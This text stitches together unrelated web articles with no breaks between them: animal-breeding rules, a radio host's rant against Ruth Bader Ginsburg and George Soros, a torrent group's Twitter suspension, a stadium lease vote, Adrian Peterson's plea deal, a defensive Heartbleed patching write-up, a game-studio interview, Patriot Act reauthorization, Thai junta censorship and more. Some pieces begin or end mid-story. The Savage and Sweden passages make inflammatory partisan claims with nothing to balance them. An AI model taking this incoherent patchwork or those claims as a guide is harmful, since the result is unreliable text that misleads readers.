Similar to the debate about livestock-farming conditions, foes of commercial pet breeding have said the minimum standards set by the federal government aren’t strict enough and are poorly enforced.
The USDA denies such allegations, maintaining that licenses are inspected about once a year — and more often for facilities that have repeatedly been out of compliance.
“While it is impossible for our inspectors to be at every facility every day, inspectors are highly trained and educated in the welfare of animals and ensure that the facilities that they inspect are in compliance,” said Tanya Espinosa, spokeswoman for the USDA Animal and Plant Health Inspection Service. “Over 95 percent of the breeders and dealers that are inspected are in substantial compliance with the Animal Welfare Act.”
There about 120 USDA inspectors who monitor licensed breeders, research facilities, distributors and other industry-related businesses. Those agency officials also handle a variety of other duties, from enforcing regulations for genetically modified crops to overseeing the welfare of livestock.
The federal standards require breeders to keep dogs in cages with at least 6 inches of headroom and a minimum floor space that’s based on the dog’s size.
For example, an average-sized dog of 37 inches would require a 1,849-square-inch cage. Female dogs get an additional 5 percent of allotted space for each of their nursing puppies. A veterinarian-approved exercise plan is mandatory unless the dog is kept in a cage that’s twice the minimum size.
Savage, fresh from an interview with Donald Trump, mentions the questions for Trump he didn’t get to and this leads him to Ruth Bader Ginsburg. He then launches into an unrestrained denunciation of this evil old crone who graduated from the Far Left ACLU to America’s Supreme Court, courtesy of a gutless Republican Party. Savage does not mince words and everything he shouts needs shouting from the rooftops, over and over again.
He demands that Trump as President must find a way to impeach her for her poisoning of the Supreme Court. He then moves into an equally unrestrained denunciation of George Soros who is destroying Europe and America. He demands that Trump as President must have Soros tracked down and brought back to the USA for trial for the damage he and his family have inflicted on the American people.
Savage finishes his ‘rant’ by expressing sympathy for people like you and me who, not having a radio microphone like he has, feel gagged. He understands our rage and the frustration of our voices being suppressed. We have to endure, day after day, the lies and propaganda of the Mainstream Media, the occupation of city streets by Far Left, welfare-funded, thugs, and the moral corruption of our children by officially-endorsed perverts.
The ExtraTorrent Release Group, or ETRG for short, is one of the best known sources for pirated movies.
The group releases dozens of popular films on various torrent sites each week and has a steady following of movie fans looking for fresh content.
Some of these followers track new releases through ETRG’s Twitter account. While the group doesn’t link to any copyrighted material, it does list the titles of new releases there.
One would think that ETRG isn’t violating Twitter’s policies by merely pasting a title. However, a few days ago two tweets mentioning “The Signal” got them in trouble.
The tweets were targeted with a DMCA takedown request which led to the immediate suspension of the group’s account.
“Twitter suspended ETRG’s account with no logical or valid reason. In fact they didn’t even give the reason. All I got was a DMCA notification and next day the account was suspended,” ETRG tells TF.
In its copyright and DMCA policy Twitter explains that it takes action against “tweets containing links to allegedly infringing materials,” but ETRG didn’t post any links, just text.
And there are more strange things happening. The takedown notice was sent on behalf of “Wild Side” and also targeted tweets from @PRoDJi and @TorrentBird. These tweets were removed as well, but interestingly enough the associated accounts haven’t been suspended.
ETRG is disappointed with Twitter’s actions and says the company is caving in to unreasonable demands from copyright holders.
“It shows how these sites are influenced by the powerful movie industry to do anything they want,” the group says.
A few years ago the group stopped posting links after it has its account suspended and at the time Twitter re-enabled it within a day. But even without links it couldn’t escape another suspension.
Hoping to get its account reinstated ETRG filed a counter-notice, but several days have passed since and they have yet to hear back from Twitter. Meanwhile, the account remains suspended.
The deal passed by a 9-7 margin during an in-camera meeting Wednesday night.
City manager Chris Murray told CBC Hamilton that the deal is better for both the team and taxpayers.
“On the old agreement, we were losing money every time the team played football,” he said, adding the old deal wasn’t sustainable for the team either.
Construction on the new Pan Am stadium was delayed about two weeks. Crews started pulling double shifts in February to make up for the lost time. (Adam Carter/CBC)
Now, the city will “break even” on the lease, and “from a Ticat standpoint, it puts them in a much better sustainability situation,” he said.
“The bottom line is the Ticats will be here for quite some time.”
The deal is worth $750,000 a year for the city for the field's naming rights, $450,000 for the team's rent and prospective $150,000 if a professional soccer team comes to Hamilton.
It’s taken over two years for the city and the Ticats to come to an agreement on the lease. Earlier this month, councillors were demanding changes to a proposed lease agreement.
“We’ve walked through the sticking point as approved by council,” Murray said. “Now we’re working through all the arrangements."
Ticat president Scott Mitchell told CBC Hamilton that the process took a while because the arrangement was so complex. "Anytime there are a lot of moving parts, there needs to be a lot of attention to detail," he said.
Coun. Brad Clark of Stoney Creek was among the seven who voted against the agreement. When the city is contributing $54 million to the new $147.5-million Tim Hortons Field, break even isn't good enough, he said.
Ticats can veto events that conflict with practices
"Fundamentally, it was not a good deal for taxpayers," he said. And with more staff being added to the stadium — as per the new agreement — Clark doubts the city will end up breaking even.
Clark also had an issue with the section that gives the Ticats the ability to veto any events that conflict with team practices. With that, "we may never be able to bring in a concert," he said.
Coun. Lloyd Ferguson of Ancaster had the same sticking point. The city pushed for a clause that would see the Ticats practising somewhere else if the city needs the stadium, with the city providing transportation and the field, Ferguson said.
"Taxpayers put $50 million into the facility. It should be the taxpayers who decide the scheduling, not the tenants," he said.
The city will live with the agreement. "We have to now," he said. "But there's still a lot of bitterness."
$1 million per missed game
The new agreement includes a clause that says the city has to pay the Ticats $1 million for each home game missed because of a delay in constructing the new stadium.
But Murray says potential delays weren't holding up the agreement.
Infrastructure Ontario recommended a football contingency plan for the field in case the stadium doesn’t open on time in a letter from executive vice-president John McKendrick to Murray.
Crews also ended up working double time on the stadium to make up for a two-week delay caused in part by major ice storm and problems with a masonry company.
“No one has confirmed any construction delay,” Murray said. “We’re assuming the stadium is on time unless we hear otherwise.”
Mitchell says the team is doing what it can to make sure it mitigates any problems that could pop up from construction delays, like hosting the Ticats home pre-season game at McMaster's Ron Joyce Stadium in June.
Producer Lauren Shuler Donner spoke about the character at the “X-Men: Days of Future Past” premiere in London.
“He’s a rogue, Channing — he’s a rascal, just like Remy LeBeau. And he can handle the action, we all know that,” she told Total Film. “And he’s got a really good heart … I think he’ll be great for Gambit.”
Donner added, “And he’s a southerner too … he understands that world, and you know Gambit loves New Orleans.”
Tatum is following in the footsteps of Hugh Jackman, who has headlined two standalone “Wolverine” spinoffs, with a third currently set for release in 2017. The critically derided “X-Men Origins: Wolverine” (which featured Taylor Kitsch as Gambit) grossed $373 million worldwide, while 2013’s “The Wolverine” drew approximately $415 million and fared better among pundits.
Tatum had previously expressed interest in the role, telling MTV, “Gambit is the only X-Man I’ve ever loved. I mean, I’ve loved them all, they’re all great, but I guess just being from down South; my dad’s from Louisiana, I’m from Mississippi, Alabama, Florida. I don’t know, I just related to him … I would die to play him.”
Donner recently hinted at plans for Gambit and Deadpool (played by Ryan Reynolds in “X-Men Origins”) to star in their own spinoffs, while screenwriter Simon Kinberg expressed desire for Jennifer Lawrence’s Mystique to receive a solo outing too.
“The main problem in Sweden is that these facts are not openly discussed. The right, and the left, and the media, they’ve formed an iron cartel to basically censor negative facts about immigration and sort of highlight positive spin on this issue.” Sound familiar?
“If you say immigration is bad for the economy, you’re saying the same thing as the skinheads, so maybe you’re a racist… The social truth wins over the factual truth.”
Social truth. Social justice. What ever happened to actual truth? Actual justice? Are those still things?
And while yes, most of the immigrants coming to Sweden are Muslims, the overall immigration issue addressed here is much deeper. If we’ll let them, the simple facts from the video speak for themselves.
Jews are fleeing Swedish cities due to the dangers of violent anti-semitism.
Schools are not only failing, they’re also not safe for children.
Sweden has the fastest growing income gap (think wage inequality) in the world.
Free speech is being squelched.
Their economy is shrinking.
Segregation is rampant.
Sweden’s not creating a utopia with its free and democratic welfare state. It’s driving itself into oblivion.
NFL star running back Adrian Peterson chose to put an end to the criminal court proceedings against him for the "whoopings" he gave his 4-year-old son that prosecutors called felony child injury by pleading "no contest" to a lesser misdemeanor charge of reckless assault.
With hopes of returning to play for the Minnesota Vikings, Peterson entered the plea to the Class A misdemeanor in a Montgomery County courtroom on Tuesday. The agreement carries two years of probation, a $4,000 fine and 80 hours of community service. Half of the community service must be spent working on public service announcements about proper parenting.
"I will accept a no-contest plea," Judge Kelly Case told Peterson, as the player, prosecutors and Peterson's attorney stood before him.
"Thank you, your honor," Peterson, 29, told the judge.
Under the agreement, Peterson will be permitted to see the 4-year-old son he was charged with abusing when he disciplined the boy with a small branch, or switch, and a belt. No restrictions were placed on those visits.
(center) Minnesota Vikings star running back Adrian Peterson speaks with the media before departing from the Montgomery County courthouse in Conroe, TX Tuesday November 4, 2014. Peterson avoided jail time in a plea agreement reached with prosecutors to resolve a child abuse case involving Peterson's 4-year-old son. less (center) Minnesota Vikings star running back Adrian Peterson speaks with the media before departing from the Montgomery County courthouse in Conroe, TX Tuesday November 4, 2014. Peterson avoided jail time in a ... more Photo: Billy Smith II, Billy Smith II | Houston Chronicle Photo: Billy Smith II, Billy Smith II | Houston Chronicle Image 1 of / 68 Caption Close Adrian Peterson after plea deal: 'I truly regret the incident' 1 / 68 Back to Gallery
"I truly regret the incident," Peterson told reporters after the brief court proceeding. "I take full responsibility for my action. I love my son more than any of you know. I am anxious to be back with him. I'm glad this is over and I can put it behind me."
The agreement opens a door for Peterson's return to the NFL, though league Commissioner Roger Goodell will likely have the final say on whether the 2012 league MVP plays again this season.
"We will review the matter, including the court record, and then make a determination on his status. We cannot provide a timetable," NFL spokesman Brian McCarthy said in an email before the plea was formally entered.
Peterson could have faced a maximum penalty of one year in prison and a $4,000 fine for the misdemeanor charge of felony assault.
Under the terms of his probation, Peterson will be required to undergo mandatory drug testing and will have to report to a probation officer monthly.
The agreement puts an end to prosecutors' efforts to revoke Peterson's bail because of his alleged admission that he had smoked "a little weed" while the child injury case was working its way through the courts.
After the court proceeding, Peterson was flocked by autograph-seekers and someone who appeared to be dressed as a Wildcat, the team mascot for Peterson's high school in Palestine, Texas. The man carried a "Free AP" sign.
"Let's get on to playing football," the man yelled.
Rusty Hardin, the attorney for Peterson, praised the outcome as a "fair, just resolution to a complicated social issue."
"The facts have never been in contention as Adrian has always accepted responsibility," said Hardin, who praised prosecutors for having the "courage to do what is right."
"AP wants to get on with his life and his relationship with his son and on to playing football," Hardin said.
Asked if he would be permitted to play again, Peterson declined comment and Hardin said, "It's in the hands of the NFL."
Montgomery County District Attorney Brett Ligon said the no-contest plea represents "the beginning for Peterson."
"He has a long way to go, to see that he satisfies all the conditions of his probation," Ligon said.
Ligon stressed that he was honoring the wishes of the child's mother, who lives with the boy in Minnesota, in bringing a resolution to the case and allowing Peterson to see his son.
"This is more about a child and a single mom, who is doing a great job under dfficult circumjstances," Ligon said. He added that corporal punishment is legal in Texas but that "this went beyond what is reasonable."
Ligon said the boy's mother was struggling to keep her child out of what he labeled a "circus."
"This is about modifying behavior," Ligon said of the state's position. "This is not about putting Peterson in prison. When all is said and done, he will still be a father to a 4-year-old child."
Minnesota authorities had sought a protective order to prevent Peterson from any contact with the 4-year-old boy — one of six children that he has had with different mothers. In the document filed for the order, authorities said the boy was injured while visiting Peterson at his gated $5 million home in The Woodlands in May. The report said the child had visible encrusted bruises to his backside and his scrotum.
Peterson acknowledged punishing his son with "whoopings" but maintained that he was trying to discipline him in the same way he had been as a child and never intended any harm.
Peterson entered the courtroom around 1:30 p.m. Tuesday, appearing tense as he sat in his black suit next to his wife, Ashely. His mother and stepfather were also by his side.
The courtroom was packed with those in jail uniforms and their lawyers waiting for a docket call.
Peterson exited the courtroom briefly, presumably for the required urinalysis. His wife waitedin the pew, silently dressed in her sleek white dress and six-inch fashion heels.
Peterson has been sidelined from play since shortly after his indictment in September for reckless or negligent child injury, a felony that carries a maximum penalty of two years in prison and a $10,000 fine. Peterson was placed on Goodell's exemption list. He has played only one of the eight games this season while continuing to collect his $11.75 million annual salary.
With the plea, it was unclear whether Peterson would face additional punishments under the NFL's new personal conduct policy. Goodell and the league have faced criticism for being too tepid and lenient in the handling of NFL players accused of domestic violence.
Minnesota Vikings coach Mike Zimmer has not divulged what parameters would be used to allow Peterson to return to play.
"Adrian has always been a top-notch and first-class player," Zimmer said Monday. "But I'm not going to speculate."
A possible return for Peterson could be complicated by his alleged admission to a court officer that he had smoked "a little weed" while out on bail. Prosecutors said the admission came during his first court appearance Oct. 9 after he was taken from the courtroom for a uranalyis, a drug test that is a routine condition of bail. Prosecutors did not reveal the results of this test, saying it was sent off to a drug lab for confirmation.
The NFL, which recently revised its drug policy to allow higher levels of marijuana in a player's system to account for potential secondhand smoke, has a tiered system of punishments for players who abuse the drug. Officials would not speculate as to what that means for Peterson.
Ligon signed off on the plea agreement several weeks after he unsuccessfully tried to have Case, with whom he has clashed repeatedly over the past year, removed as the judge on the Peterson case.
Matthew Robinson is penning the script.
“Little Shop of Horrors” first hit the big screen in 1960, in a film directed by Roger Corman and featuring a young Jack Nicholson in one of his first movie roles. It revolved around a clumsy young man who raises a plant, discovers it is carnivorous, and kills to keep it fed.
Frank Oz also directed his own version in 1986, which reached cult status and featured an all-star ensemble that included Bill Murray and Rick Moranis. Howard Ashman also directed an Off-Broadway adaptation as well.
Berlanti hasn’t directed a film since 2010’s “Life as We Know It,” but has developed superhero favorites on the TV including “The Flash,” “Supergirl,” “Arrow,” and “DC’s Legends of Tomorrow.” He also recently produced “Pan” for Warner Bros. He is repped by WME.
Robinson most recently penned “In Search of Humans” for Fox and Chernin. He is repped by ICM Partners and 3 Arts.
Taking advantage of our unified, container-based infrastructure, we successfully patched Heartbleed for 60,000+ Drupal and WordPress sites on Pantheon less than twelve hours after the bug was first announced. We were fully patched by 10:15PM on April 7th. Taking advantage of our systemd-based container architecture, we were able to update the OpenSSL library and cleanly restart exactly the right services with close to zero customer impact.
Here’s how we did it (reusable code snippets are included below).
Preparation
For an attack like Heartbleed, there are only a few things you can do ahead of time, but these became critical to our real-time response.
First and foremost, we chose a Linux distribution with a good security team. We use Fedora, which has a great security team but a support lifecycle too short to recommend in general. Pantheon worked with Fedora’s security team to first develop a package that disables heartbeat followed by helping QA the main release. Ubuntu and Debian both had rapid responses and offer longer-term support. The attack surface of a modern server is so large that you won’t want the fix to the vulnerability to be your first challenge.
We had good general security practices in place. We use defense in depth and we don’t pack too many operations into the same daemon. On Pantheon, HTTPS termination is isolated from most application code.
We also had a lot of automation in place (Chef and Fabric) which helped us deploy our changes quickly. Our entire response and deployment team for this project was two engineers for twelve hours: our Systems Engineer Kyle Ibrahim and me.
The Fix
Distributing the patched OpenSSL package
While our upstream published a way to get the fresh packages without waiting on mirrors, we were worried about hitting that too hard. Our fleet consists of hundreds of servers. We pushed updated packages to Amazon S3 and used Chef to push that out to servers.
But, that’s the easy part. The hard part is ensuring that anything that’s loaded the old OpenSSL gets restarted. Most people just reboot, but not Pantheon.
Safe, idempotent deployment leveraging systemd
It’s pretty easy on Linux to identify processes with a stale shared library. The process maps will indicate which files have been deleted but are still loaded. Here’s a snippit that does that, courtesy Corsac:
grep -l 'libssl.*deleted' /proc/*/maps | tr -cd 0-9\
| xargs -r ps u
That’ll get you the executable of what’s running, but it doesn’t provide any way to cleanly restart what you find unless you compile your own ruleset mapping executable names to services. This would be especially complicated if, like Pantheon, you may run 5000 nginx instances on a box.
We started with the maps approach and used a trick from systemd’s journal for how it goes from the PID of a logging daemon to the name of the service:
Load /proc/<PID>/cgroup Find the one in the systemd tree: [straussd@olympian systemd]$ sudo cat /proc/21962/cgroup
11:hugetlb:/
10:perf_event:/
9:blkio:/
8:net_cls:/
7:freezer:/
6:devices:/
5:memory:/
4:cpuacct,cpu:/system/polkit.service
3:cpuset:/
2:name=systemd:/system/polkit.service Parse out the unit (service) name. It’s the part after the last slash. In our case, apply a whitelist to avoid some services like MySQL where it loads OpenSSL but we don’t use the TLS support. Tell systemctl to restart or reload the service. Run the check again to verify that the stale library is no longer loaded.
Here’s a generic (runnable anywhere with systemd) version of what Pantheon uses now:library_updates.py.
The great thing about this approach
Idempotent: run it as often as you like; it will only restart necessary services
Accurate: no guessing involved about which daemons are using an affected library
Fast: no reboot
Clean: does orderly shutdown and startup for the affected services. For socket-activated services, there may not even be a visible interruption in availability.
Generic: works for any shared library
Final words
There’s a chance that Heartbleed has already allowed an attacker to compromise private keys on Pantheon infrastructure. We’ll be regenerating our keys, and we're reminding our customers to do so, too. With a compromise like this, it's impossible to know whether OpenSSL leaked the key.
At Pantheon we are long term committed to making websites easy to run and invulnerable to exploits such as a Heartbleed. Website developers: we have your back.
Introduction
Hi! I’m, Johan Ilves, Marketing Director and Composer at Stunlock Studios. We are located in Skövde, a small city in Sweden. The studio was founded back in 2010 by students from the University Of Skövde and our first game was Bloodline Champions, published by Funcom. Our second game was the zombie massacre Dead Island: Epidemic, published by Deep Silver. We started as 15 developers and now we are 25.
Bloodline Champions was one of the first MOBAs and I would dare to say it was ahead of its time. Our goal is the same today, as it was six years ago. We want to create the best fast-paced top-down battle arena in the world and we believe we are doing that with Battlerite. We are in cooperation with Coffee Stain, the studio behind the wildly successful Goat Simulator . Both studios are co-investors, while Stunlock Studios are in full control of development of Battlerite.
Battlerite
Imagine a mix between Super Smash Bros and World Of Warcraft Arena. Intense round-based fighting in gladiatorial settings. Battlerite is a game for anyone who are into competitive gaming and I believe it could become the action-game alternative to Hearthstone. A game you can pick up anytime, quick 5-10 minutes matches, rewarding and instant fun. Easy to get into, still with a high skill ceiling.
Battlerite is set in the same world as Bloodline Champions, hundreds of years later and the tribes have now become civilizations. The gameplay basics of the two games are similar, both are based on skill-shots, timing and reaction. With that said, it’s good to know that Battlerite is essentially a new game. The game mechanics, art and sound are all built from scratch. All characters are played in a different way and we put a lot of work to make each and everyone of them feel unique.
It’s a top-down action game where you don’t need to schedule a game session. We stripped it down to get as much fighting between characters as possible. We call it “TAB”, Team Arena Brawler.
Gameplay
We do not place it in the MOBA genre for a good reason: it’s not played like a MOBA. There are no lanes, no creeps or towers. This game is more like a fighting-game played with mouse and keyboard. Responsive W+A+S+D movement and mouse-aim controls, where every ability requires skills. You don’t need to have any specific gaming background to enjoy this game.
Our inspiration comes from both classic console games, arcades and as mentioned PC arena games like WoW arena. We come up with this play-style back in 2009, working on Bloodline Champions and now improving it in all aspects.
Visual Design
The first and foremost thing has been to support and visually explain the gameplay. It’s an intense game with lots of action, so it’s vital for both players and spectators to see what’s going on. Balancing the visual clarity has also been a high priority. The environment design follows the same reasoning. It’s a game where players fight each other for fame and glory while spectators watching and cheering – Colosseum-style arenas with roaring crowds!
When it comes to the Champions, we try to emphasize the details that make each character stand apart from the rest. You should know what kind of character you will be playing, just by looking at it.
Using Unity
We started working with Unity in 2011, with what I believe was the 3.5 beta. We were impressed by the extensibility of the editor and rendering pipeline which accelerated development, while at the same time enabling our own touch in terms of art style. Familiarity with the scripting language was also a big plus. Unity has come far since the 3.5 Beta. I’m glad to say we’ve stuck with it and we’re currently using the 5.x series. With our five years of experience using the engine, we’re delivering a beautiful and very smooth experience on a wide range of hardware. Tips and Tricks
Game developing is complex in all aspects and mistakes will happen, even if you try hard to avoid them. As a small studio you will have a lot of obstacles and it’s crucial that you keep the belief in what you are doing. There will always be no-sayers and doubters, but you can’t let them come in the way of your vision. We are very grateful to get the chance to work and grow as a studio with big publishers such as Funcom and Deep Silver. The economic back-up and learning process of working with big publishers has been an important factor for us to evolve as a studio. We learned a lot from our previous projects and feel we are ready to take the next big step. Battlerite will be the first game we both are developing and publishing, were we as a studio are in full control.
By Patrick Martin
17 September 2009
In a letter from the Justice Department to the Senate Judiciary Committee, the Obama administration has gone on record for the first time supporting the extension of key provisions of the USA Patriot Act, including the notorious provision that gives the federal government the power to subpoena library records of any individual.
Several provisions of the Patriot Act, legislation adopted in the immediate aftermath of the 9/11 attacks that grants sweeping surveillance powers to US intelligence agencies, are scheduled to expire December 31, unless renewed by Congress. The House and Senate judiciary committees have scheduled hearings next week on the proposed reauthorizations.
In a letter to Senator Patrick Leahy of Vermont, chairman of the Senate panel, sent Monday and reported in the press Wednesday, Assistant Attorney General Ronald Weich argues for reauthorization of three expiring sections of the Patriot Act:
Section 206, which provides for roving surveillance of targets who take evasive measures like using throw-away cell phones. In such cases, US intelligence agencies can monitor any telecommunications device that might be used by the suspect, without being compelled to specify the number in advance or get a warrant.
Section 215, dubbed by civil liberties groups the “library provision,” which allows federal agents to obtain business, medical, library and other records simply by presenting a written demand, called a national security letter, to the organization maintaining the records. This provision has been used 220 times over the past eight years, Justice Department officials said, but it is not clear whether a single letter to a large corporation, like AT&T or Verizon, could be used to make repeated demands for information. The national security letters must be approved by a secret Foreign Intelligence Surveillance Court, which almost never rejects such surveillance requests.
The third section has been nickname the “Lone Wolf” provision, since it authorizes intelligence gathering against any non-citizen, regardless of whether the individual is suspected of being linked to a foreign government or terrorist organization. The Obama administration claims that the provision has never been actually used, but that the power needs to be held in reserve in case of need.
Assistant Attorney General Weich claims in his letter to Leahy that the roving wiretap provision has been used only 20 times. But last March, in testimony before Congress, FBI Director Robert S. Mueller said that his agency alone had used roving wiretaps in terrorism investigations a total of 147 times since 2001.
The discrepancy only underscores the lack of credibility of all declarations from the spy agencies about their secret surveillance tactics. In practice, the US intelligence apparatus (as well as the Pentagon) conduct their operations without any oversight or accountability, with the complicity of their supposed watchdogs in the congressional intelligence committees.
Section 215 is the most expansive of the three sections, since it allows the FBI and other agencies to demand electronic records of any business, as well as “any tangible things” like bank and credit card statements, as well as medical and mental health records, on any individual.
The Obama administration letter explicitly defends the record of the Bush administration in exercising surveillance powers under Section 215. Weich writes:
“At the time of the USA PATRIOT Act, there was concern that the FBI would exploit the broad scope of the business records authority to collect sensitive personal information on constitutionally protected activities, such as the use of public libraries. This simply has not occurred, even in the environment of heightened terrorist threat activity.”
The assistant attorney general then argues that the good behavior of the Bush administration justifies an extension of the “library” provision:
“Based upon this operational experience, we believe that the FISA business records authority should be reauthorized. There will continue to be instances in which FBI investigators need to obtain transactional information that does not fall within the scope of authorities relating to national security letters and are operating in an environment that precludes the use of less secure criminal authorities.”
The reaction of congressional Democrats to the proposed extension of Patriot Act powers has been overwhelmingly favorable. In a statement issued Wednesday, Senate Judiciary Chairman Leahy said, “I am pleased that the Justice Department has signaled its willingness to work with Congress in addressing the expiring provisions of the USA PATRIOT Act. It is important that Congress and the executive branch work together to ensure that we protect both our national security and our civil liberties.”
Senate Majority Whip Richard Durbin of Illinois and liberal Senator Russell Feingold of Wisconsin issued a joint statement favorably contrasting the Obama administration’s willingness to consult with Congress to the Bush administration’s simple assertion of executive powers. The two Democrats are introducing a bill to provide a fig leaf for the reauthorization of the Patriot Act by supposedly tightening the legal standard for obtaining national security letters, including requiring the government to show some “nexus” to terrorism. The two introduced similar legislation previously, with the support of then-Senator Barack Obama.
The Durbin-Feingold bill would repeal the legal immunity given to telecommunications companies that collaborated with illegal government spying. Obama voted last year in favor of the legislation that granted the telecoms immunity, and his administration strongly opposes any repeal.
The American Civil Liberties Union took essentially the same position as the Senate liberals, calling the administration position on Patriot Act reauthorization “a mixed bag,” while hailing its willingness to work with Congress as “definitely a sea change from what we’ve seen in the past.”
On the same day as the Justice Department letter on the Patriot Act, the Obama administration filed an 85-page legal document with the US Circuit Court of Appeals for the District of Columbia arguing that prisoners at the US-run prison at Bagram, near Kabul, Afghanistan, should not have access to US courts. A lower federal court ruled that prisoners seized in other countries and taken to Afghanistan by the US government can challenge their detention in US courts through habeas corpus, like the prisoners at Guantánamo Bay.
CLEARWATER, Fla. — A tattoo parlor is buzzing in Florida after the owner of the shop was banned from career day at his daughter’s school.
Walter Smith has attended the Great American Teach-in at Clearwater Fundamental Middle School for the past two years, but he was told he couldn’t participate this year because parents did not want their kids exposed to Smith’s ‘alternative lifestyle.’
“The parents are closed-minded and don’t want their children to know about these things,” Smith said.
Smith is licensed in the State of Florida and has been tattooing and piercing clients for 15 years. He said he was taken aback by the ban because he is a responsible tattoo artist, who discourages kids from getting tattoos before they turn 18.
Video Player Close
BEIJING, Oct. 20 (Xinhua) -- A leading U.S. expert on China studies said the ongoing 19th National Congress of the Communist Party of China (CPC) marks a "new historic starting point," believing it will exert influence on China and the world for decades to come.
"Xi Jinping set out an audacious, grand vision for China's future development, which, without doubt, is the highlight of the political report," said Robert Lawrence Kuhn, chairman of the Kuhn Foundation, commenting on the report Xi delivered to the 19th CPC National Congress on Wednesday.
What impressed Kuhn was the report's "comprehensive scope" and that it "established the policies not only for the next five years, but framed the agenda and set the strategies for the next 30 years."
While announcing socialism with Chinese characteristics has entered a "new era," the CPC leader envisioned China with "socialist modernization basically realized" by 2035, and then developing into "a great modern socialist country" by the middle of the century with a leading influence in the world.
That's why this congress has special significance as it marks the start of a five-year period that is the confluence of the two centenary goals, said Kuhn, who was at the Great Hall of the People as the co-producer and host of "Closer to China with R.L. Kuhn" on China Global Television Network (CGTN) when the report was delivered.
"People orientation and rejuvenating the country, in the historic context of China's ancient civilization and long struggle against foreign oppression, form the foundation of the report," Kuhn said.
The report also gave Kuhn, author of bestseller "How China's Leaders Think," a sense of how confident the Chinese leader and the country are in socialism and their commitment to deepening reform and strengthening rule of law.
From the report, he also saw the "strict governance of the Party by reforming and purifying itself," which he said is "unambiguous."
"The anti-corruption campaign not only continues but is enhanced," he added.
On the economic front, Kuhn saw the increasing role of innovation, especially in science and technology. Regarding military, he described the content concerning military reform and modernization as "open and specific."
From the report, he also saw China's sovereignty as "sacrosanct" and its international engagement as "pro-active, confident and growing."
It impressed Kuhn that "the leadership of China, led by Xi, has a profound understanding of the country, its governance, economy and society, and is determined to bring about its great rejuvenation."
"Xi gave a realistic appraisal of problems, including social imbalances, economic structure, endemic pollution," while making an "epic narrative of what China has remarkably achieved, what China has yet to do, and what China envisages as necessary to be a great nation," he said.
It is on this competence and accomplishment that the political legitimacy of the CPC is founded, said Kuhn.
On 30 March, the self-styled National Council for Peace and Order (NCPO), or the Thai junta that staged a coup on 22 May 2014 and robbed the rights of millions of voters, told me on the phone that they would not permit me to travel to Helsinki to attend the Unesco-organised World Press Freedom Day.
Ousted Thai PM says junta's draft constitution is a charade Read more
One of the junta spokesmen was reported explaining the reason for this ban. “He still keeps posting [online] and attacking the work of the NCPO,” Colonel Piyapong Klinpan was quoted as saying. “He keeps violating the orders of the NCPO in many ways, so his travel is not approved.”
The right to freely travel outside Thailand has been taken away from me since I was detained without charge in secret locations for a total of 10 days in May 2014 and September last year. Before being released I had to sign, under duress, a “memorandum of understanding” saying that I would seek the junta’s permission before leaving the kingdom.
Other conditions included agreeing not to participate, aid or lead an anti-junta movement. If I did not maintain these conditions, the junta reserved the right to freeze all my bank accounts and prosecute me.
Nothing in the agreement forbids me from scrutinising and criticising the military dictatorship and this is the one condition I will never sign up to. And I have been criticising them continually for nearly two years now since the coup, both through my work as a journalist and on Facebook and Twitter.
This is what happens to a Thai journalist when you refuse to pretend that the military junta is legitimate.
As I write, the junta is preparing what it calls “re-education camps” for dissidents and journalists who continue to refuse to kowtow to them. It will soon invite its critics, both political and in the media, to go through a course that could last seven days inside various military camps. The camps are about silencing. If one doesn’t want to be on the list, one simply should just lie low and stop being vocal against the regime.
Thai woman charged with sedition over photo of 'provocative' red bowl Read more
Thailand’s military dictatorship is led by General Prayuth Chan-ocha, who once joked that journalists opposing him should just be executed. He is both junta leader and prime minister. Prayuth’s logic is that he doesn’t have to please anyone because, unlike elected politicians, he was never elected. His way of keeping peace and order is to impose a ban on political gatherings of five or more persons. This ban has been in effect for nearly two years.
According to iLaw, a Bangkok-based human rights documentation centre, since the coup in May 2014, 900 people have been summoned by the junta for the “attitude adjustment” programme, which in some cases include detention without charge for up to seven days. Over 150 civilians are facing military tribunal, 62 are being charged with lese-majesty offences, 38 charged with sedition and 85 prosecuted for violating the junta’s ban on political gathering of five or more persons.
I am not alone in resisting the militarisation of Thailand. Others who refused to shut up have paid their price and more will be paying the price. Some face military tribunals, others have had their bank accounts frozen. There are people whose passports have been revoked.
There are still people making their voices heard on social media despite the growing crackdown and the junta is toying with the idea of building a firewall to censor the internet – because the yearning for liberty is what makes us human as opposed to being pets of a military dictatorship.
Deep down, the junta knows that its power rests not on legitimacy but on the barrel of guns and the threat of arbitrary detention that is increasingly turning Thailand to Juntaland.
“There is no place for touts and no reason for ticket rackets to take place in Indian Railways as the entire system is computerised. There is accountability and it is strictly monitored. But I kept getting complaints that it was very easy for touts to hover around the railway premises and get any ticket confirmed,” Trivedi said.
“We then decided to get to the root of the problem and found that most of the leakages in the ticketing system came from the VIP quota in which seats are allotted to important people to be used during emergencies. This was the source of all scams as ticket booking under VIP quota is not computerised,” the former minister said. “The VIPs may or may not be aware of what happens under their name, but this quota is being misused in a big way and the leak needs to be plugged immediately. I had taken necessary steps when I was railway minister.”
We are a group of international fulltime artists, and we love to build party machines and mechanical madness. We built Compressorhead independent of any institutional or industrial funding, and now Compressorhead is the first 100% Robot Band to record an original album that rocks.
Together with the Canadian music-legend John Wright (of NoMeansNo & The Hanson Brothers) we produced fantastic new songs which have got to be heard.
You might get an idea of how it looks by watching our campaign video. Building and programming robots takes a lot of time and money, we have done nothing else during the last 3 years. Now the album is ready and you can buy it here. If you pre-order the album or some of the other exclusive items here from this PledgeMusic campaign, you help us to cover the immense costs which piled up during the last years. We had to build two new band members, singer Mega-Wattson and second guitar player Hellgå Tarr to complete the band and produce this album.
The album contains 15 songs that were exclusively composed to be performed by Compressorhead. John Wright wrote songs that can only be performed by the robots. No human drummer can play single hand rolls like Stickboy can. No human guitarist can play multiple riffs at the same time.
Wattson: “John is the man for the job! Musically he is the master. I have grown up with his music. It’s such an honour that John is working with us. The music he wrote for us is so cool. It’s the best.”
John Wright: “We had to teach the robots the songs I have written. But we had to speak the language the Robots understand. Which is MIDI. The robots came to me to find the secret of Rock ’n’ Roll. Everything the robots do they do on command. So you have to put all the nuance that a real musician – oh, I should not say real musician – but a human musician, would do on stage. And my job was to find the nuances in the performances that have been written for them. And then to bring them all together as one unit.”
Keep an eye on the campaign for video content, updates, tour dates and new exclusives!
Thanks a lot for your support!
Mossberg is introducing three 6.5mm Creedmoor rifles from its highly-innovative MVP Series – the MVP LC (Light Chassis), MVP LR (Long Range) and MVP Predator bolt-action rifles and two rifles from its classic bolt-action hunting line – the Patriot Predator, a new series of rifles for 2017, and a Patriot Synthetic.
